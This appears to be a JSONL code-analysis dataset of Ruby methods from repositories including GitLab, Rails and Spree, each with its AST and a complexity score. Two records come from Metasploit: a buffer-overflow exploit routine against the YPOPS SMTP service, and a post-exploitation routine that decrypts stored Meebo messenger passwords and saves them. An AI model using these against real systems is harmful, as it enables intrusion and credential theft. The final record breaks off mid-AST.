{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/send_file_upload.rb","start_line":76,"raw_source":"def valid_image_scaling_width?(allowed_scalar_widths)\n    allowed_scalar_widths.include?(params[:width]&.to_i)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_image_scaling_width?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"allowed_scalar_widths\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_scalar_widths\"]},\"include?\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"width\"]}]},\"to_i\"]}]}]}","id":"32dbe62f-a650-41e7-af12-8a2616f9956a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/metafield_definition.rb","start_line":72,"raw_source":"def set_default_type\n      self.metafield_type ||= Rails.application.config.spree.metafield_types.first.to_s\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"metafield_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"spree\"]},\"metafield_types\"]},\"first\"]},\"to_s\"]}]}]}","id":"ddb1884e-e9ea-4f5c-92ce-bbe9dcb4d3da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/security/latest_pipeline_information.rb","start_line":47,"raw_source":"def latest_default_branch_pipeline\n      strong_memoize(:pipeline) { latest_pipeline }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_default_branch_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"pipeline\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"latest_pipeline\"]}]}]}","id":"e8d62dde-2ad8-457f-8c21-fd5ca1863ca7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smtp/ypops_overflow1.rb","start_line":77,"raw_source":"def exploit\n    connect\n\n    pattern =\n      rand_text_alpha(target['Offset'] - payload.encoded.length) +\n      payload.encoded +\n      [target.ret].pack('V') +\n      \"\\n\"\n\n    print_status(\"Trying #{target.name} using jmp ebx at #{\"0x%.8x\" % target.ret}\")\n\n    sock.put(pattern)\n\n    handler\n    disconnect\n  end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" using jmp ebx at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"119a30ac-ffd7-40cc-a077-aa5369fa2f04"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap.rb","start_line":175,"raw_source":"def wrap_read_write(wrap_read, wrap_write)\n      @conn.extend(SocketSaslIO)\n      @conn.setup(wrap_read, wrap_write)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_read_write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wrap_read\"]},{\"type\":\"arg\",\"children\":[\"wrap_write\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"SocketSaslIO\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"setup\",{\"type\":\"lvar\",\"children\":[\"wrap_read\"]},{\"type\":\"lvar\",\"children\":[\"wrap_write\"]}]}]}]}","id":"f5cf1366-fa51-450e-9b92-267e3ac1979e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/collectors/substitute_binds.rb","start_line":18,"raw_source":"def add_bind(bind, &)\n        bind = bind.value_for_database if bind.respond_to?(:value_for_database)\n        self << quoter.quote(bind)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_bind\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bind\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"value_for_database\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bind\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind\"]},\"value_for_database\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoter\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"bind\"]}]}]}]}]}","id":"a14c70bb-dac7-48bc-b86b-26b0dfec2ba4"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/oauth_callback_controller.rb","start_line":26,"raw_source":"def find_or_create_inbox\n    channel_email = find_channel_by_email\n    # we need this value to know where to redirect on sucessful processing of the callback\n    channel_exists = channel_email.present?\n\n    channel_email ||= create_channel_with_inbox\n    update_channel(channel_email)\n\n    # reauthorize channel, this code path only triggers when microsoft auth is successful\n    # reauthorized will also update cache keys for the associated inbox\n    channel_email.reauthorized!\n\n    [channel_email.inbox, channel_exists]\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_email\",{\"type\":\"send\",\"children\":[null,\"find_channel_by_email\"]}]},{\"type\":\"lvasgn\",\"children\":[\"channel_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_email\"]},\"present?\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_email\"]},{\"type\":\"send\",\"children\":[null,\"create_channel_with_inbox\"]}]},{\"type\":\"send\",\"children\":[null,\"update_channel\",{\"type\":\"lvar\",\"children\":[\"channel_email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_email\"]},\"reauthorized!\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_email\"]},\"inbox\"]},{\"type\":\"lvar\",\"children\":[\"channel_exists\"]}]}]}]}","id":"5584652b-80e8-4d16-a853-c27b2ce1317d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":990,"raw_source":"def test_redirect_url_only_cares_about_location_header\n    get :create\n    assert_response :created\n\n    # Redirect URL doesn't care that it wasn't a :redirect response.\n    assert_equal \"/resource\", @response.redirect_url\n    assert_equal @response.redirect_url, redirect_to_url\n\n    # Must be a :redirect response.\n    assert_raise(ActiveSupport::TestCase::Assertion) do\n      assert_redirected_to \"/resource\"\n    end\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect_url_only_cares_about_location_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"create\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"created\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"redirect_url\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"redirect_url\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_url\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"/resource\"]}]}]}]}]}","id":"f218e174-60c4-4500-928d-ce3ebfc0968e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/services/openid_connect/user_tokens/create_service.rb","start_line":69,"raw_source":"def merge_audiences(*args)\n        args.flatten.uniq\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_audiences\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"flatten\"]},\"uniq\"]}]}","id":"53a8962e-623e-459b-86dd-74ff59c42e49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/meebo.rb","start_line":65,"raw_source":"def parse_txt(file)\n    creds = Rex::Text::Table.new(\n      'Header' => 'Meebo Instant Messenger Credentials',\n      'Indent'\t=> 1,\n      'Columns' =>\n      [\n        'User',\n        'Password',\n        'Protocol'\n      ]\n    )\n\n    config = client.fs.file.new(file, 'r')\n    parse = config.read\n\n    if (parse =~ /\"password.{5}(.*)\",\\s*\"protocol.{4}(\\d),\\s*\"username.{5}(.*)\"/)\n      epass = ::Regexp.last_match(1)\n      protocol = ::Regexp.last_match(2).to_i\n      username = ::Regexp.last_match(3)\n    else\n      print_error('Could not extract credentials from file')\n      return\n    end\n\n    case protocol\n    when 0\n      protocol = 'Meebo'\n    when 1\n      protocol = 'AIM'\n    when 2\n      protocol = 'Yahoo IM'\n    when 3\n      protocol = 'Windows Live'\n    when 4\n      protocol = 'Google Talk'\n    when 5\n      protocol = 'ICQ'\n    when 6\n      protocol = 'Jabber'\n    when 7\n      protocol = 'Myspace IM'\n    end\n\n    passwd = decrypt(epass)\n    print_good(\"*** Protocol: #{protocol}  User: #{username}  Password: #{passwd}  ***\")\n    creds << [username, passwd, protocol]\n    config.close\n\n    if passwd.nil? || username.nil?\n      print_status('Meebo credentials have not been found')\n      return\n    end\n\n    print_status('Storing data...')\n    path = store_loot(\n      'meebo.user.creds',\n      'text/csv',\n      session,\n      creds.to_csv,\n      'meebo_user_creds.csv',\n      'Meebo Notifier User Credentials'\n    )\n\n    print_good(\"Meebo Notifier user credentials saved in: #{path}\")\n  rescue StandardError => e\n    print_error(\"An error has occurred: #{e}\")\n  end","complexity_score":74.65,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_txt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Meebo Instant Messenger Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"User\"]},{\"type\":\"str\",\"children\":[\"Password\"]},{\"type\":\"str\",\"children\":[\"Protocol\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"fs\"]},\"file\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"r\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"read\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"password.{5}(.*)\\\",\\\\s*\\\"protocol.{4}(\\\\d),\\\\s*\\\"username.{5}(.*)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"epass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not extract credentials from file\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"Meebo\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"AIM\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"Yahoo IM\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"Windows Live\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"Google Talk\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"ICQ\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"Jabber\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"str\",\"children\":[\"Myspace IM\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"passwd\",{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"lvar\",\"children\":[\"epass\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"*** Protocol: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol\"]}]},{\"type\":\"str\",\"children\":[\"  User: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"  Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwd\"]}]},{\"type\":\"str\",\"children\":[\"  ***\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"passwd\"]},{\"type\":\"lvar\",\"children\":[\"protocol\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"close\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwd\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"nil?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Meebo credentials have not been found\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Storing data...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"meebo.user.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"meebo_user_creds.csv\"]},{\"type\":\"str\",\"children\":[\"Meebo Notifier User Credentials\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Meebo Notifier user credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error has occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"d78a4ba4-b67a-4620-abdd-f2a3bc74d12b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/import_export/json/streaming_serializer_spec.rb","start_line":472,"raw_source":"def write_relation_array(_, _, enumerator)\n            enumerator.each(&:itself)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write_relation_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"enumerator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enumerator\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"itself\"]}]}]}]}","id":"db4b31dd-be28-4d23-b013-625d07beeb7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/linked_project_issue_entity.rb","start_line":21,"raw_source":"def can_admin_issue_link?(issue)\n    Ability.allowed?(current_user, :admin_issue_link, issue)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_admin_issue_link?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_issue_link\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]}","id":"73c04e41-2921-419c-a35e-a1f88120e0e4"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":421,"raw_source":"def test_is_haml; skip\n    assert(!ActionView::Base.new.is_haml?)\n    assert_equal(\"true\\n\", render(\"= is_haml?\"))\n    assert_equal(\"true\\n\", render(\"= is_haml?\", :action_view))\n    assert_equal(\"false\", @base.render(:inline => '<%= is_haml? %>'))\n    assert_equal(\"false\\n\", render(\"= render :inline => '<%= is_haml? %>'\", :action_view))\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_is_haml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"new\"]},\"is_haml?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"true\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"= is_haml?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"true\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"= is_haml?\"]},{\"type\":\"sym\",\"children\":[\"action_view\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"<%= is_haml? %>\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"false\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"= render :inline => '<%= is_haml? %>'\"]},{\"type\":\"sym\",\"children\":[\"action_view\"]}]}]}]}]}","id":"bb71dd9b-baba-493d-8697-f4e5b38c5748"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_set.rb","start_line":106,"raw_source":"def ==(other)\n      other.is_a?(AttributeSet) && attributes == other.send(:attributes)\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"AttributeSet\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"send\",{\"type\":\"sym\",\"children\":[\"attributes\"]}]}]}]}]}","id":"fb486c36-1f91-4b6e-befb-a70ceb150bbc"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/streaming/content_extraction.rb","start_line":35,"raw_source":"def extract_cached_tokens(data)\n            data.dig('message', 'usage', 'cache_read_input_tokens') || data.dig('usage', 'cache_read_input_tokens')\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_cached_tokens\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"usage\"]},{\"type\":\"str\",\"children\":[\"cache_read_input_tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"usage\"]},{\"type\":\"str\",\"children\":[\"cache_read_input_tokens\"]}]}]}]}","id":"3ced0d4a-06cc-460c-8906-4f25dbbdc6bb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/summarization/strategies/hot_topic_gists.rb","start_line":15,"raw_source":"def highest_target_number\n          target.highest_post_number\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"highest_target_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"highest_post_number\"]}]}","id":"87491173-44bd-4b98-bde7-bbd24a9a2d63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/destinations/snowplow.rb","start_line":26,"raw_source":"def event(category, action, label: nil, property: nil, value: nil, context: nil)\n          return unless @event_eligibility_checker.eligible?(action)\n\n          tracker.track_struct_event(\n            category: category,\n            action: action,\n            label: label,\n            property: property,\n            value: value,\n            context: context,\n            tstamp: (Time.now.to_f * 1000).to_i\n          )\n          increment_total_events_counter\n        end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"kwoptarg\",\"children\":[\"label\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"property\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event_eligibility_checker\"]},\"eligible?\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"track_struct_event\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tstamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]},\"to_